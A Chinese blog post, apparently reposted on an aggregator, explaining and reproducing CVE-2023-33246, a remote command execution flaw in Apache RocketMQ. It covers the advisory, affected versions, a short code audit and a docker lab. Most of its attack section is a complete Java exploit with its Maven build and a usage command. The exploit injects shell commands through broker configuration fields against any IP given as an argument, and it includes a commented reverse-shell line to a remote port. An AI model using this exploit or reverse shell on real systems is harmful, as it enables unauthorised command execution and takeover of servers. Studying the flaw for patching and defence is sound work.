漏洞复现-CVE-2023-33246 Apache RocketMQ RCE漏洞原理与复现

news/2024/12/23 2:24:33/

目录

  • 漏洞原理
    • 漏洞描述
    • 影响范围
  • Apache RocketMQ学习
    • 文档学习
    • 代码审计
  • 漏洞复现
    • docker环境搭建
    • exp代码
  • 总结
  • 参考


漏洞原理

漏洞描述

For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .

对于RocketMQ 5.1.0及以下版本,在某些情况下,存在远程命令执行的风险。RocketMQ的几个组件,包括NameServer、Broker和Controller,在网络上泄露,并且缺乏权限验证,攻击者可以通过使用更新配置功能作为RocketMQ运行的系统用户执行命令来利用此漏洞。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。为了防止这些攻击,建议使用RocketMQ 5.x的用户升级到5.1.1或更高版本,使用Rocket MQ 4.x的用户升级到4.9.6或更高版本。

影响范围

5.x版本小于5.1.1
4.x版本小于4.9.6

Apache RocketMQ学习

文档学习

通过快速开始可以知道rocketmq有Nameserver、Broker、Proxy等概念。Nameserver是在9786端口,Broker是在10911端口。
在这里插入图片描述
通过Admin Tool可知能够修改集群配置
在这里插入图片描述
查看服务端配置
在这里插入图片描述

代码审计

在broker.filtersrv.FilterServerManager的60行左右调用了createFilterServer()函数,该函数调用了buildStartCommand()函数
在这里插入图片描述
查看buildStartCommand()函数可以知道此处拼接了配置文件中的内容
在这里插入图片描述

漏洞复现

docker环境搭建

version: '2'
services:rocketmq:image: vulhub/rocketmq:5.1.0ports:- 10911:10911- 9876:9876
docker-compose up -d

在这里插入图片描述

exp代码

使用的Java代码,maven构建
Main.java

import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;public class Main {public static void main(String[] args) throws Exception {Properties props = new Properties();String ip = "10.28.144.100";// bash -i >& /dev/tcp/10.28.144.100/65532 0>&1String cmd = "touch /tmp/killer9";if (args.length == 2) {ip = args[0];cmd = args[1];}props.setProperty("rocketmqHome", "-c $@|sh . echo " + cmd + ";");props.setProperty("filterServerNums", "1");DefaultMQAdminExt admin = new DefaultMQAdminExt();admin.setNamesrvAddr(ip + ":9876");admin.start();admin.updateBrokerConfig(ip + ":10911", props);admin.shutdown();System.out.println("attack "+ ip + " with command " + cmd + " finish!");}
}

pom.xml部分内容如下

    <dependencies><!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-tools</artifactId><version>5.1.0</version></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>3.1.0</version><configuration><createDependencyReducedPom>false</createDependencyReducedPom></configuration><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformerimplementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><mainClass>Main</mainClass></transformer><transformerimplementation="org.apache.maven.plugins.shade.resource.AppendingTransformer"><resource>reference.conf</resource></transformer></transformers><filters><filter><artifact>*:*:*:*</artifact><excludes><exclude>META-INF/*.SF</exclude><exclude>META-INF/*.DSA</exclude><exclude>META-INF/*.RSA</exclude></excludes></filter></filters></configuration></execution></executions></plugin></plugins></build>

打包后使用第一个参数是ip,第二个是命令

java -jar cve-2023-33246-SNAPSHOT.jar 10.28.144.100 "touch /tmp/lady_killer"

在这里插入图片描述
过一会儿后进入容器查看目录可以看到命令已执行
在这里插入图片描述

总结

服务端管理员调用的接口没有鉴权,且将内容直接拼接到执行的命令,没有做过滤。

参考

CVE-2023-33246
Apache-rocketmq
Apache-rocketmq服务器配置
Github-Apache-rocketmq


http://www.ppmy.cn/news/901816.html

相关文章

修复漏洞(二)离线升级Tomcat版本

前言 生产环境无法联网&#xff0c;只能通过下载离线版本更新Tomcat到小版本最新注意Tomcat10和11与jdk1.8都不兼容&#xff0c;只能更新到小版本的最新前提是按照我这种方法配置Tomcat开机自启的https://blog.csdn.net/qq_44648936/article/details/130022136 步骤 备份整个…

软件整理

一、 https://www.microsoft.com/zh-CN/download/details.aspx?id3702 下载虚拟pc。安装后&#xff0c;全部下一步&#xff0c;最后&#xff0c;右击虚拟pc&#xff0c;设置&#xff0c;在光驱里面选中你的iso文件。这样就可以安装一个虚拟的pc端。 还有修改mac的方法。 在打开…

从零开始整合spingMVC

111 转载于:https://www.cnblogs.com/doublekiller/p/5743233.html

可以清理掉重复文件的PC软件

下载并使用DoubleKiller进行重复文件的清理。

重复文件清理绿色工具——DoubleKiller

小巧实用的重复文件清理绿色工具——DoubleKiller DoubleKiller Pro Download

10个增强Windows效率的必备免费软件

几乎每台电脑都装有windows系统&#xff0c;因此我们每天都对硬盘里的文件进行复制&#xff0c;粘贴&#xff0c;创建&#xff0c;移动&#xff0c;删除等等。windows本身的操作工具&#xff0c;例如简单的复制粘贴功能&#xff0c;简陋的资源管理器&#xff0c;都不能满足高效…

Windows下好用的轻量小程序(不定期更新)-20190521更新

文章目录 快速启动应用程序压缩与解压缩软件卸载文件管理垃圾文件清理文件搜索硬盘使用情况误删文件恢复解除文件占用 杀毒视频播放器音乐播放器远程控制下载下载软件百度网盘下载利器 屏幕录制截取思维导图看图片系统安装U盘ToDoList任务管理&#xff08;跨平台&#xff09; 快…

post上传图片获取不到值

问题&#xff1a;执行List items upload.parseRequest(request); 其中items获取不到值 1 HttpServletRequest request ServletActionContext.getRequest();2 request.setCharacterEncoding("utf-8");3 4 boolean isMultipart …